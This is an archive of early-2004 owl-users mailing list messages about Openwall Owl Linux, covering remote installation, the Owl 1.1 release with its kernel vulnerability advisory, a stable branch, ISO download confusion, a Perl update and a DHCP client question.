Re: How to install Owl remote using an existing Linux installation

From: Solar Designer (solar@private)
Date: Mon Dec 29 2003 - 17:22:08 PST


On Mon, Dec 29, 2003 at 04:51:57PM +0100, Benjamin Lutz wrote:
> I have a remote server currently running a SuseLinux installation on
> which I have only access by a console-server to ttyS0. I also can start
> a recoverymanager which create a ramdisk and provide network access.
> From there I can mount the Harddisk or install gcc. How can I install
> Owl on this server?   

This is a very brief answer.  I hope others will help you with the
details as I have no time presently.

Transfer the Owl packages (the RPMS directory) and native source tree
(native.tar.gz) to a temporary partition on the hard disk (make it
/usr/src/world or you'd need to edit installworld.conf to reflect a
different location).  Extract the native tree, you get a Makefile.
Create the partitions and filesystems you intend to install to and
mount them under /owl (or elsewhere, but you'd need to edit
installworld.conf).  "make installworld && make setup".  Then upload
the kernel sources, build a kernel (preferably chrooted into the new
system such that the new system's development tools are used), and
install it into the new system.  "chroot /owl lilo".  You're done.

Please read Owl/doc/INSTALL and Owl/doc/BUILD before you do this.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-362-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i063COv08075
	for <jwa@private>; Mon, 5 Jan 2004 19:12:24 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id B09BA70
	for <jwa@private>; Mon,  5 Jan 2004 19:12:10 -0800 (PST)
Received: (qmail 8754 invoked by uid 1011); 6 Jan 2004 03:11:27 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 8693 invoked from network); 6 Jan 2004 03:11:25 -0000
Date: Tue, 6 Jan 2004 06:03:20 +0300
From: Solar Designer <solar@private>
To: announce@private
Cc: owl-users@private, lwn@private
Subject: Linux 2.4.23-ow2, Owl 1.1 available for download
Message-ID: <20040106030320.GA12666@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Sender: owl-users-return-362-jwa=jammed.com@private
X-Spam-Status: No, hits=-12.7 required=5.0
	tests=BAYES_10,KNOWN_MAILING_LIST,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

Linux 2.4.23-ow2 is out and adds fixes for two Linux kernel
vulnerabilities.  One of the vulnerabilities, discovered by Paul
Starzetz, is in incorrect handling of a boundary case in mremap(2)
system call.  When properly exploited, this vulnerability may allow
any local user and any process to execute arbitrary code with kernel
privileges and thus gain root access and bypass restrictions such as
cap-bound.  More trivial exploits of the same vulnerability result in
an instant reboot (local DoS).  This vulnerability does not affect
Linux 2.2.x and older kernels.

The other vulnerability has been discovered by Russell King and
results in the real time clock drivers leaking small amounts of kernel
internal data to user-space applications via the /dev/rtc device.
Such data might be security-sensitive.  All of Linux 2.0.x, 2.2.x, and
2.4.x are affected, provided the /dev/rtc device is readable to
untrusted users (it isn't on Owl).

Linux 2.4.23-ow2 is available for download from:

	http://www.openwall.com/linux/

Owl 1.1 already includes Linux 2.4.23-ow2 as the kernel.  Owl 1.1
release is now available for download from the FTP mirrors listed at:

	http://www.openwall.com/Owl/DOWNLOAD.shtml

Of course, Owl 1.1 remains available for purchase on a CD as well:

	http://www.openwall.com/Owl/orders.shtml

The only versions of Owl affected by one of these two vulnerabilities
are Owl-current snapshots dated after 2003/10/20 and up until the date
of this announcement.  If you're using Owl with a Linux 2.4.x kernel
older than 2.4.23-ow2, please upgrade your system to Owl 1.1 or at
least upgrade the kernel to 2.4.23-ow2.

A updated -ow patch for Linux 2.4.24 will be available shortly, but
as 2.4.23-ow2 already includes the critical fixes, there will be no
real need to upgrade from 2.4.23-ow2 to 2.4.24-ow1.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-363-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i06ESTv25119
	for <jwa@private>; Tue, 6 Jan 2004 06:28:29 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 54F3570
	for <jwa@private>; Tue,  6 Jan 2004 06:28:26 -0800 (PST)
Received: (qmail 7161 invoked by uid 1011); 6 Jan 2004 14:28:04 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 7153 invoked from network); 6 Jan 2004 14:28:03 -0000
From: "Steve Bremer" <steveb@private>
Organization: NEBCO, Inc.
To: owl-users@private
Date: Tue, 06 Jan 2004 08:31:33 -0600
MIME-Version: 1.0
Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
Message-ID: <3FFA7265.22623.32980A9@localhost>
Priority: normal
In-reply-to: <20040106030320.GA12666@private>
X-mailer: Pegasus Mail for Windows (v4.11)
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Content-description: Mail message body
Sender: owl-users-return-363-jwa=jammed.com@private
X-Spam-Status: No, hits=-10.4 required=5.0
	tests=BAYES_01,IN_REP_TO,KNOWN_MAILING_LIST
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)


Hi SD,

> Owl 1.1 already includes Linux 2.4.23-ow2 as the kernel.  

Now that Owl 1.1 is out, what are the plans for security & bug fixes? 
 Will you create a "stable" branch of 1.1 that just contains security 
and critical bug fixes so developers can use "current" for 
development?

I'm just wondering so I can start syncing with current again if there 
won't be a "stable" branch for Owl 1.1.

Thanks again,
Steve Bremer
NEBCO, Inc.
System & Security Administrator
Return-Path: <owl-users-return-364-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i08Bttv24919
	for <jwa@private>; Thu, 8 Jan 2004 03:55:55 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 91BC070
	for <jwa@private>; Thu,  8 Jan 2004 03:55:51 -0800 (PST)
Received: (qmail 14451 invoked by uid 1011); 8 Jan 2004 11:55:14 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 14443 invoked from network); 8 Jan 2004 11:55:13 -0000
Date: Thu, 8 Jan 2004 14:47:03 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
Message-ID: <20040108114703.GA911@private>
References: <20040106030320.GA12666@private> <3FFA7265.22623.32980A9@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3FFA7265.22623.32980A9@localhost>
User-Agent: Mutt/1.4.1i
Sender: owl-users-return-364-jwa=jammed.com@private
X-Spam-Status: No, hits=-38.6 required=5.0
	tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi Steve,

On Tue, Jan 06, 2004 at 08:31:33AM -0600, Steve Bremer wrote:
> Now that Owl 1.1 is out, what are the plans for security & bug fixes? 
>  Will you create a "stable" branch of 1.1 that just contains security 
> and critical bug fixes so developers can use "current" for 
> development?

Yes, Owl-1_1-stable already exists in CVS.  Whether it will actually
receive commits and whether we will do snapshots on the FTP will
depend on the severity of post-1.1 bugs to be discovered before we
make the next release.  If anything critical is found in Owl 1.1
before there's a new release, there will be a fix for the 1.1.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-365-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i08Cl7v27612
	for <jwa@private>; Thu, 8 Jan 2004 04:47:07 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 505F370
	for <jwa@private>; Thu,  8 Jan 2004 04:47:05 -0800 (PST)
Received: (qmail 18042 invoked by uid 1011); 8 Jan 2004 12:46:46 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 18034 invoked from network); 8 Jan 2004 12:46:46 -0000
X-Authentication-Warning: stats.zond.ru: lunar owned process doing -bs
Date: Thu, 8 Jan 2004 15:52:17 +0300 (MSK)
From: Lunar <lunar@private>
To: owl-users@private
Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
In-Reply-To: <20040108114703.GA911@private>
Message-ID: <20040108154756.X89036@private>
References: <20040106030320.GA12666@private> <3FFA7265.22623.32980A9@localhost>
 <20040108114703.GA911@private>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owl-users-return-365-jwa=jammed.com@private
X-Spam-Status: No, hits=-17.5 required=5.0
	tests=BAYES_10,IN_REP_TO,KNOWN_MAILING_LIST,REFERENCES,
	      X_AUTH_WARNING
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)



Hi Solar !


I'm download Owl-1_1 release iso from ftp2.ru.openwall.com
257 "/pub/Owl/1.1-release/iso"
ftp> ls -l
227 Entering Passive Mode (195,42,179,206,244,213)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp      284813584 Dec 19 21:20 Owl-1.1-release-i386.iso.gz
-rw-r--r--    1 ftp      ftp           129 Jan 05 20:40 README
-rw-r--r--    1 ftp      ftp           263 Jan 05 20:31 iso.mtree
-rw-r--r--    1 ftp      ftp           331 Jan 05 20:36 iso.mtree.sign
226 Directory send OK.
ftp>


but i see :

-rw-r--r--    1 150      150         28898 Oct 20 04:13 linux-2.4.22-ow1.tar.gz
-rw-r--r--    1 150      150           331 Oct 20 04:13 linux-2.4.22-ow1.tar.gz.sign
-rw-r--r--    1 150      150      29528612 Oct 20 04:12 linux-2.4.22.tar.bz2
-rw-r--r--    1 150      150           248 Oct 20 04:12 linux-2.4.22.tar.bz2.sign
-rw-r--r--    1 150      150       1262994 Oct 20 04:14 pcmcia-cs-3.2.4.tar.gz

and in .Owl-CD-ROM:


current as of 2003/11/03current as of 2003/11/03

Why ?


Lunar
Return-Path: <owl-users-return-366-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i08DXev29870
	for <jwa@private>; Thu, 8 Jan 2004 05:33:40 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id B952770
	for <jwa@private>; Thu,  8 Jan 2004 05:33:33 -0800 (PST)
Received: (qmail 22421 invoked by uid 1011); 8 Jan 2004 13:33:10 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 22413 invoked from network); 8 Jan 2004 13:33:09 -0000
Date: Thu, 8 Jan 2004 14:29:24 +0100 (CET)
From: Andreas Ericsson <exon@private>
To: owl-users@private
Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
In-Reply-To: <20040108154756.X89036@private>
Message-ID: <Pine.LNX.4.58.0401081415001.14581@private>
References: <20040106030320.GA12666@private> <3FFA7265.22623.32980A9@localhost>
 <20040108114703.GA911@private> <20040108154756.X89036@private>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owl-users-return-366-jwa=jammed.com@private
X-Spam-Status: No, hits=-38.6 required=5.0
	tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_PINE
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Heh. I'm starting to think you've created some sort of trend here, sd. :)
Lunar, Galaxymaster and Solar Designer. Before long, I expect we'll see
'nova', 'spaceman', 'shuttleboy' and 'orbital' as well. ;)

No offense ppl.

Lunar:
I'm running the mirror ftp.se.openwall.com, and my mirror is updated
correctly (since three days).
I can't imagine the Russian secondary ftp isn't.

Are you sure there wasn't an old Owl image on the cd you tried to burn to?

Mvh
Andreas Ericsson / Sourcerer
OP5 AB
+46 (0)733 709032
andreas.ericsson@private

On Thu, 8 Jan 2004, Lunar wrote:

>
>
> Hi Solar !
>
>
> I'm download Owl-1_1 release iso from ftp2.ru.openwall.com
> 257 "/pub/Owl/1.1-release/iso"
> ftp> ls -l
> 227 Entering Passive Mode (195,42,179,206,244,213)
> 150 Here comes the directory listing.
> -rw-r--r--    1 ftp      ftp      284813584 Dec 19 21:20 Owl-1.1-release-i386.iso.gz
> -rw-r--r--    1 ftp      ftp           129 Jan 05 20:40 README
> -rw-r--r--    1 ftp      ftp           263 Jan 05 20:31 iso.mtree
> -rw-r--r--    1 ftp      ftp           331 Jan 05 20:36 iso.mtree.sign
> 226 Directory send OK.
> ftp>
>
>
> but i see :
>
> -rw-r--r--    1 150      150         28898 Oct 20 04:13 linux-2.4.22-ow1.tar.gz
> -rw-r--r--    1 150      150           331 Oct 20 04:13 linux-2.4.22-ow1.tar.gz.sign
> -rw-r--r--    1 150      150      29528612 Oct 20 04:12 linux-2.4.22.tar.bz2
> -rw-r--r--    1 150      150           248 Oct 20 04:12 linux-2.4.22.tar.bz2.sign
> -rw-r--r--    1 150      150       1262994 Oct 20 04:14 pcmcia-cs-3.2.4.tar.gz
>
> and in .Owl-CD-ROM:
>
>
> current as of 2003/11/03current as of 2003/11/03
>
> Why ?
>
>
> Lunar
>
Return-Path: <owl-users-return-367-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i094Cnv06756
	for <jwa@private>; Thu, 8 Jan 2004 20:12:49 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id E5538E1
	for <jwa@private>; Thu,  8 Jan 2004 20:12:44 -0800 (PST)
Received: (qmail 18115 invoked by uid 1011); 9 Jan 2004 04:12:19 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 18107 invoked from network); 9 Jan 2004 04:12:18 -0000
Date: Fri, 9 Jan 2004 07:04:07 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
Message-ID: <20040109040407.GA2112@private>
References: <20040106030320.GA12666@private> <3FFA7265.22623.32980A9@localhost> <20040108114703.GA911@private> <20040108154756.X89036@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20040108154756.X89036@private>
User-Agent: Mutt/1.4.1i
Sender: owl-users-return-367-jwa=jammed.com@private
X-Spam-Status: No, hits=-36.2 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Thu, Jan 08, 2004 at 03:52:17PM +0300, Lunar wrote:
> I'm download Owl-1_1 release iso from ftp2.ru.openwall.com
> 257 "/pub/Owl/1.1-release/iso"
> ftp> ls -l
> 227 Entering Passive Mode (195,42,179,206,244,213)
> 150 Here comes the directory listing.
> -rw-r--r--    1 ftp      ftp      284813584 Dec 19 21:20 Owl-1.1-release-i386.iso.gz

I can confirm that this file as stored on ftp2.ru.openwall.com is
indeed the Owl 1.1 ISO.

> but i see :
> 
> -rw-r--r--    1 150      150         28898 Oct 20 04:13 linux-2.4.22-ow1.tar.gz
> -rw-r--r--    1 150      150           331 Oct 20 04:13 linux-2.4.22-ow1.tar.gz.sign
> -rw-r--r--    1 150      150      29528612 Oct 20 04:12 linux-2.4.22.tar.bz2
> -rw-r--r--    1 150      150           248 Oct 20 04:12 linux-2.4.22.tar.bz2.sign
> -rw-r--r--    1 150      150       1262994 Oct 20 04:14 pcmcia-cs-3.2.4.tar.gz
> 
> and in .Owl-CD-ROM:
> 
> 
> current as of 2003/11/03current as of 2003/11/03

These are from a different ISO.  You must have done something wrong
with what you had downloaded.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-368-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i094P3v07202
	for <jwa@private>; Thu, 8 Jan 2004 20:25:03 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 8B9BB70
	for <jwa@private>; Thu,  8 Jan 2004 20:25:00 -0800 (PST)
Received: (qmail 19029 invoked by uid 1011); 9 Jan 2004 04:24:40 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 19021 invoked from network); 9 Jan 2004 04:24:39 -0000
Date: Fri, 9 Jan 2004 07:16:26 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
Message-ID: <20040109041626.GA2156@private>
References: <20040106030320.GA12666@private> <3FFA7265.22623.32980A9@localhost> <20040108114703.GA911@private> <20040108154756.X89036@private> <Pine.LNX.4.58.0401081415001.14581@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0401081415001.14581@private>
User-Agent: Mutt/1.4.1i
Sender: owl-users-return-368-jwa=jammed.com@private
X-Spam-Status: No, hits=-36.2 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Thu, Jan 08, 2004 at 02:29:24PM +0100, Andreas Ericsson wrote:
> Heh. I'm starting to think you've created some sort of trend here, sd. :)
> Lunar, Galaxymaster and Solar Designer.

I don't know about Lunar, but (GalaxyMaster) has been going under that
nickname for maybe a decade.

I'm not even the only Solar out there, and I don't believe other Solars
were all named after me. ;-)

OK, no more offtopic postings from me, I promise. ;-)

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-369-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i0PNwDv10179
	for <jwa@private>; Sun, 25 Jan 2004 15:58:13 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 6A04E70
	for <jwa@private>; Sun, 25 Jan 2004 15:57:53 -0800 (PST)
Received: (qmail 31074 invoked by uid 1011); 25 Jan 2004 23:57:10 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 31066 invoked from network); 25 Jan 2004 23:57:08 -0000
Date: Mon, 26 Jan 2004 02:46:23 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Perl 5.8.3
Message-ID: <20040125234623.GA13783@private>
References: <20031223012601.GA4344@private> <87y8t4e1u0.fsf@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <87y8t4e1u0.fsf@private>
User-Agent: Mutt/1.4.1i
Sender: owl-users-return-369-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.4 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Tue, Dec 23, 2003 at 02:53:59AM +0100, Maciek Pasternacki wrote:
> Is there any chance that Owl will include Perl in newer version than
> current 5.6.0?  I am running Jabber server on Owl and some transports
> written in Perl require libraries working only with Perl 5.6.1 or
> later.  As for now I have Perl 5.8 installed from source in
> /opt/perl58 and I use it only for these transports, but I'd be very
> glad to have more recent version of the interpreter in the distribution.

OK, there's Perl 5.8.3 in Owl-current, thanks to (GalaxyMaster) who
has done much work on this update. :-)

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-370-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i134Vmv25488
	for <jwa@private>; Mon, 2 Feb 2004 20:31:48 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 1002B70
	for <jwa@private>; Mon,  2 Feb 2004 20:31:45 -0800 (PST)
Received: (qmail 26914 invoked by uid 1011); 3 Feb 2004 04:31:03 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 26906 invoked from network); 3 Feb 2004 04:31:03 -0000
Message-ID: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos>
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
Subject: dhcp client
Date: Tue, 3 Feb 2004 05:35:37 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owl-users-return-370-jwa=jammed.com@private
X-Spam-Status: No, hits=-2.2 required=5.0
	tests=BAYES_30,KNOWN_MAILING_LIST
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

I've just installed Owl on one of my computers. My ISP requires my to use
DHCP and PPPOE. Which DHCP client would be best suited to run with owl ?

Cheers,

SkyLined

PS. Solar: it took me about a year, but I finally installed owl, so your
dutch mirror is not that far from being online.


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 8.0 - not licensed for commercial use: www.pgp.com
Comment: Berend-Jan Wever - skylined@private

mQGiBD//MyARBADnHLyg2lUBEddhdWAVBxovYU5PetLk2y3HZKguauHS6tT7sNPb
WR4JuRZ5G9uTkgS/JlVl8jhdvAfOhAsXnlSwfBljPSt7ylHkmG/0TUQV14+OVIks
joq80V2yGNT8oRGC/HMk6d20THXFsqiE8pLF5OVdcF0PpTP14OeavvWp2QCg/2Yb
nk1i1VSjOCmPudJ+7klQbI0D/3pRkXQofpYslG7hBaEndDOVFRo9rgF5D4cbmIo0
eH9LEtzHiB+Q1wgJ2CUxWQeYtqCE5upBOl5vwnlY86vH6QdxZ7JdOhyWU2bgbb+D
xZrWgE1LibVdqC6ow2NgmCTQhvnBVpuvrpfe50iohujCzzI4n8Vwolg4jQtCmsU/
2glaA/9vM9T09rlq0CMQnwI3o1WPuyaVd2RrODo8AScKmYkukiuOCF7HSB//hGOX
1HXkM+yRi7ZtGVuX2sY2wkjiZa1OUuL28I5FInJQxoS8FuMtlEY2vqVHcw01KL3O
NQPvVMNoieKM3hrLGUNTgvsiGEFZYzp908bvicGh3c1yrbo6XLQrQmVyZW5kLUph
biBXZXZlciA8c2t5bGluZWRAZWR1cC50dWRlbGZ0Lm5sPokAWAQQEQIAGAUCP/8z
IAgLCQgHAwIBCgIZAQUbAwAAAAAKCRDnF8rcdEbf3T07AKDQp2C/tLe5X8v1iUBa
TlEogOUvrQCg7SHA3QPk2f/6wnl9sqhADvXdS1W5Ag0EP/8zIBAIAPZCV7cIfwgX
cqK61qlC8wXo+VMROU+28W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyD
vWXpF9Sh01D49Vlf3HZSTz09jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5
u/2RXscBqtNbno2gpXI61Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98
iLMcfFstjvbzySPAQ/ClWxiNjrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlA
GBGNfISnCnLWhsQDGcgHKXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqr
ol7DVekyCzsAAgIIAPBwtE5Q5qtEuK/1a7rNrHvRTpgTJpw9P6B61TfGACiucXne
Xo28DbabGuD8yfiNaXTHKt9NAtfHxVTL1hFUIfK5dZ9o6FG4pJFZtXfjmGqoac6A
G2zBNWNAr26OqoEKrFohJyJ8rcIY+FKrH5axaBc9II5cxcQebWoFXU/tGq+4yVaZ
4669mfHBSfiThe4N1hlcrlcehxUe3QFZYmQHYClXpldY0t3/N71k5jd6a1NZ5j9Z
kfTBzXTtbKERt1mM9gptU4LjGJQFoNBw6dRj+IQc4wJG6nAmKaQpOwMdPnii8Kz1
i+MRkW92vt8bfcXqA38XcASI5iqKmQCSSYoBW0qJAEwEGBECAAwFAj//MyAFGwwA
AAAACgkQ5xfK3HRG391CBgCffzGf174a1bKMu4EbOFfrD9eyj90An14tyn0tPGg5
IlutbA2EL52jJYz2
=OpSl
-----END PGP PUBLIC KEY BLOCK-----
Return-Path: <owl-users-return-371-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i134rEv26213
	for <jwa@private>; Mon, 2 Feb 2004 20:53:14 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 573C370
	for <jwa@private>; Mon,  2 Feb 2004 20:53:11 -0800 (PST)
Received: (qmail 29316 invoked by uid 1011); 3 Feb 2004 04:52:50 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
